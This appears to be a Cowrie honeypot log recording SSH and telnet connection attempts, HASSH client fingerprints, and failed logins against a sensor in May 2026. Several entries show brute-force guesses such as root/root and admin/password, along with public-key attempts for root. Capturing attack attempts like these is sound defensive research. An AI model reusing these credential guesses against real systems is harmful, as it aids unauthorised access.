{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:53:26.980817Z","src_ip":"94.26.106.201","session":"b2f5143c2d36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:53:27.063283Z","src_ip":"94.26.106.201","session":"b2f5143c2d36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:53:27.230754Z","src_ip":"94.26.106.201","session":"b2f5143c2d36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:53:28.317518Z","src_ip":"94.26.106.201","session":"b2f5143c2d36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.193","src_port":13930,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ca2e8e3b950","protocol":"ssh","message":"New connection: 94.26.106.193:13930 (10.17.0.5:22) [session: 9ca2e8e3b950]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:53:51.244698Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:53:51.250779Z","src_ip":"94.26.106.193","session":"9ca2e8e3b950","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.193","src_port":13934,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b31721215cc","protocol":"ssh","message":"New connection: 94.26.106.193:13934 (10.17.0.5:22) [session: 0b31721215cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:53:51.411535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:53:51.415043Z","src_ip":"94.26.106.193","session":"0b31721215cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:53:51.505655Z","src_ip":"94.26.106.193","session":"0b31721215cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:53:51.684897Z","src_ip":"94.26.106.193","session":"0b31721215cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:53:52.800709Z","src_ip":"94.26.106.193","session":"0b31721215cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":42486,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc3de69139e5","protocol":"ssh","message":"New connection: 2.57.121.112:42486 (10.17.0.5:22) [session: cc3de69139e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:53:58.192208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:53:58.196281Z","src_ip":"2.57.121.112","session":"cc3de69139e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:53:58.301314Z","src_ip":"2.57.121.112","session":"cc3de69139e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ravi","message":"login attempt [admin/ravi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:53:58.797642Z","src_ip":"2.57.121.112","session":"cc3de69139e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Rattolo58","message":"login attempt [admin/Rattolo58] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:53:59.906500Z","src_ip":"2.57.121.112","session":"cc3de69139e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"randi","message":"login attempt [admin/randi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:54:01.014722Z","src_ip":"2.57.121.112","session":"cc3de69139e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"radost","message":"login attempt [admin/radost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:54:02.124778Z","src_ip":"2.57.121.112","session":"cc3de69139e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qzwxecrv","message":"login attempt [admin/qzwxecrv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:54:03.234783Z","src_ip":"2.57.121.112","session":"cc3de69139e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:54:04.349125Z","src_ip":"2.57.121.112","session":"cc3de69139e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40994,"dst_ip":"10.17.0.5","dst_port":23,"session":"558c213e513b","protocol":"telnet","message":"New connection: 45.58.127.90:40994 (10.17.0.5:23) [session: 558c213e513b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:54:33.238106Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":40276,"dst_ip":"159.203.135.109","dst_port":23,"session":"0636e8b1fd30","protocol":"telnet","message":"New connection: 135.148.33.91:40276 (159.203.135.109:23) [session: 0636e8b1fd30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:54:41.193796Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39586,"dst_ip":"10.17.0.5","dst_port":23,"session":"30717668d86c","protocol":"telnet","message":"New connection: 45.58.127.90:39586 (10.17.0.5:23) [session: 30717668d86c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:54:48.315494Z"}
{"eventid":"cowrie.session.closed","duration":41.407634019851685,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:55:14.645649Z","src_ip":"45.58.127.90","session":"558c213e513b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.83841681480408,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:55:15.032133Z","src_ip":"135.148.33.91","session":"0636e8b1fd30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.60496115684509,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:55:23.920363Z","src_ip":"45.58.127.90","session":"30717668d86c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":43878,"dst_ip":"159.203.135.109","dst_port":23,"session":"efed30c76f3c","protocol":"telnet","message":"New connection: 135.148.33.91:43878 (159.203.135.109:23) [session: efed30c76f3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:55:30.380579Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":47734,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1b856758886","protocol":"telnet","message":"New connection: 135.148.33.91:47734 (159.203.135.109:23) [session: b1b856758886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:55:37.254352Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":51914,"dst_ip":"159.203.135.109","dst_port":23,"session":"918c668e27a7","protocol":"telnet","message":"New connection: 135.148.33.91:51914 (159.203.135.109:23) [session: 918c668e27a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:55:44.350225Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":56192,"dst_ip":"159.203.135.109","dst_port":23,"session":"fef4720b78ee","protocol":"telnet","message":"New connection: 135.148.33.91:56192 (159.203.135.109:23) [session: fef4720b78ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:55:51.745002Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":55594,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2ac17972190","protocol":"telnet","message":"New connection: 135.148.33.91:55594 (159.203.135.109:23) [session: b2ac17972190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:55:53.727332Z"}
{"eventid":"cowrie.session.closed","duration":35.57634496688843,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:56:05.956794Z","src_ip":"135.148.33.91","session":"efed30c76f3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.90732669830322,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:56:11.161549Z","src_ip":"135.148.33.91","session":"b1b856758886","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.72.46.110","src_port":59024,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6d5ec0d6b29","protocol":"ssh","message":"New connection: 62.72.46.110:59024 (10.17.0.5:22) [session: b6d5ec0d6b29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:56:23.083043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:56:23.087751Z","src_ip":"62.72.46.110","session":"b6d5ec0d6b29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:56:23.309702Z","src_ip":"62.72.46.110","session":"b6d5ec0d6b29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.2571074962616,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:56:23.607224Z","src_ip":"135.148.33.91","session":"918c668e27a7","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:47:1c:b0:1a:3a:a3:0c:7b:cb:55:ea:9b:11:3f:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFLIvNAcLDuGGu5mOtvHv1Izdq56EkXaVfs7Yh5ReUi19LmfMwKFzTAHSHKwrOVhrpk1moh1Uc/D+Xpg4d1p1lZRBv7lmQqrrhXS8SBdZOsTrqj7WABc/nNqrPeBkdazP7b6RnO+13L5RwVVMubE9kiQ0/DvCETxyCsbWUcsqIKMo89esLZanXH9MWBvgLnVKkmJT8BRcb4PgD0yd8Ao+kqQRHX1grzNKGUJggYKDJz0TlDn4U64ambJhtEabg+MCuIGeyOR8OiRNGcYhKrfesNc1+CLY+3mt9KY1/2iVnyYg1LBmZACjzQZeR++jiE2Z6430T2rxfkWlq+B0PlkNF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:47:1c:b0:1a:3a:a3:0c:7b:cb:55:ea:9b:11:3f:8e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:56:24.398178Z","src_ip":"62.72.46.110","session":"b6d5ec0d6b29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:47:1c:b0:1a:3a:a3:0c:7b:cb:55:ea:9b:11:3f:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFLIvNAcLDuGGu5mOtvHv1Izdq56EkXaVfs7Yh5ReUi19LmfMwKFzTAHSHKwrOVhrpk1moh1Uc/D+Xpg4d1p1lZRBv7lmQqrrhXS8SBdZOsTrqj7WABc/nNqrPeBkdazP7b6RnO+13L5RwVVMubE9kiQ0/DvCETxyCsbWUcsqIKMo89esLZanXH9MWBvgLnVKkmJT8BRcb4PgD0yd8Ao+kqQRHX1grzNKGUJggYKDJz0TlDn4U64ambJhtEabg+MCuIGeyOR8OiRNGcYhKrfesNc1+CLY+3mt9KY1/2iVnyYg1LBmZACjzQZeR++jiE2Z6430T2rxfkWlq+B0PlkNF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:56:24.402199Z","src_ip":"62.72.46.110","session":"b6d5ec0d6b29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:05:08:6e:df:bd:ee:c4:06:78:98:47:5a:cd:74:44","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMJ1wM9/lt0wiFylm0T9ntTL7U+GntbCse3v55V0lzm","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 69:05:08:6e:df:bd:ee:c4:06:78:98:47:5a:cd:74:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:56:24.629207Z","src_ip":"62.72.46.110","session":"b6d5ec0d6b29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:05:08:6e:df:bd:ee:c4:06:78:98:47:5a:cd:74:44","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMJ1wM9/lt0wiFylm0T9ntTL7U+GntbCse3v55V0lzm","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:56:24.633415Z","src_ip":"62.72.46.110","session":"b6d5ec0d6b29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:a6:13:07:16:43:11:cb:9b:98:0b:f7:40:10:fa:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDofEMBS5SBa8cjFhkVqc+sTI6qkDZutM8YxjQxWdgux/I3GMbianT67rRrgl8acTU1ORWkmXATJOfuFCs4o2WXQG/6KQTATn/JvBieOCFiV6pvivoZ0o6nFiraZqUSjkShI/IBZqRzqFkKTn1yNxIyatbg6pZLUxe5s9pO7dYdwM4+sZd7B6TP/JiO5Vl94L9+etxf7h4Ab5YHt9msx7+KCGSp7+GPqPBG/pr1ouGOFVFPFGHvt8IttpShFK+7Xef+Yc30ZwejG6upOyXeI6x8qE9PCpeq61FjXNM6bMNeqouBoVQgsS8byFqQ/sZkhct74rjXcjS+UfduVfLRsUmHCw+sXpSJVutwR++gsURXDO2pBCQ9Gn2oJDtAqoLOOOmgOl5uZcUf2XeSQ5PO7J6Z10FbT6PrKRuFYv/yRAVA9WMvm09CQAV6yh1fzF/L0QoQATfVWUoHO4W8RNKuEuD69TcVV1eYTXGgbITxIZ+Lso83yTdJoTVPXTgeCkKBhzTA/cUhWzcBJgoEQdp+07u1H20ckbDovL6rH8ffaj7exUFNrkCkV3+xAtVhPeiLHHEy9ELZV9but8q5+KvcVE2sqpJH+ARrEi3UmMUHX3bNblJ7ezLxUhUiF1t5geuevYlt2sq5V3e9SI0Wn0cI0mGJjbvPnhwTU2ecMfN0uQeZjQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4a:a6:13:07:16:43:11:cb:9b:98:0b:f7:40:10:fa:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:56:24.855591Z","src_ip":"62.72.46.110","session":"b6d5ec0d6b29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:a6:13:07:16:43:11:cb:9b:98:0b:f7:40:10:fa:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDofEMBS5SBa8cjFhkVqc+sTI6qkDZutM8YxjQxWdgux/I3GMbianT67rRrgl8acTU1ORWkmXATJOfuFCs4o2WXQG/6KQTATn/JvBieOCFiV6pvivoZ0o6nFiraZqUSjkShI/IBZqRzqFkKTn1yNxIyatbg6pZLUxe5s9pO7dYdwM4+sZd7B6TP/JiO5Vl94L9+etxf7h4Ab5YHt9msx7+KCGSp7+GPqPBG/pr1ouGOFVFPFGHvt8IttpShFK+7Xef+Yc30ZwejG6upOyXeI6x8qE9PCpeq61FjXNM6bMNeqouBoVQgsS8byFqQ/sZkhct74rjXcjS+UfduVfLRsUmHCw+sXpSJVutwR++gsURXDO2pBCQ9Gn2oJDtAqoLOOOmgOl5uZcUf2XeSQ5PO7J6Z10FbT6PrKRuFYv/yRAVA9WMvm09CQAV6yh1fzF/L0QoQATfVWUoHO4W8RNKuEuD69TcVV1eYTXGgbITxIZ+Lso83yTdJoTVPXTgeCkKBhzTA/cUhWzcBJgoEQdp+07u1H20ckbDovL6rH8ffaj7exUFNrkCkV3+xAtVhPeiLHHEy9ELZV9but8q5+KvcVE2sqpJH+ARrEi3UmMUHX3bNblJ7ezLxUhUiF1t5geuevYlt2sq5V3e9SI0Wn0cI0mGJjbvPnhwTU2ecMfN0uQeZjQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:56:24.861972Z","src_ip":"62.72.46.110","session":"b6d5ec0d6b29","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:bd:5c:6c:9b:65:2e:b8:78:45:90:29:ef:54:a3:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvgDQjzA34svBQDVSXxP3IfJ0+zLAlw6pSrkHQYXZ6uy5NyPDI9O4vqlQpD+BvLpnuINjceCCdIay4eFVJ1Uj7oK3FVYPPBvabhLXl8HE95QUcXUNU9daryT5mluuskiahc57WmynyfOYvGAI/PsleNiUiplHgDrLOrza1al5YY6TBFo0Ozfh9ifh2RJeVAFDaYT+viAqOwL0rUM/ULEIai8WS5ny/L1ex7+nXxxEHEZa5ZSdwEvjQ735lI6R0N2qGoVghjIBKWEufTIUEBpaaIktApE2DZGPCXShm+hJV7Te/2HVjmnfalPB6BjsjqiU9yZprH3ODYzgr8JjCGSgKQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:bd:5c:6c:9b:65:2e:b8:78:45:90:29:ef:54:a3:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T16:56:25.090482Z","src_ip":"62.72.46.110","session":"b6d5ec0d6b29","protocol":"ssh"}
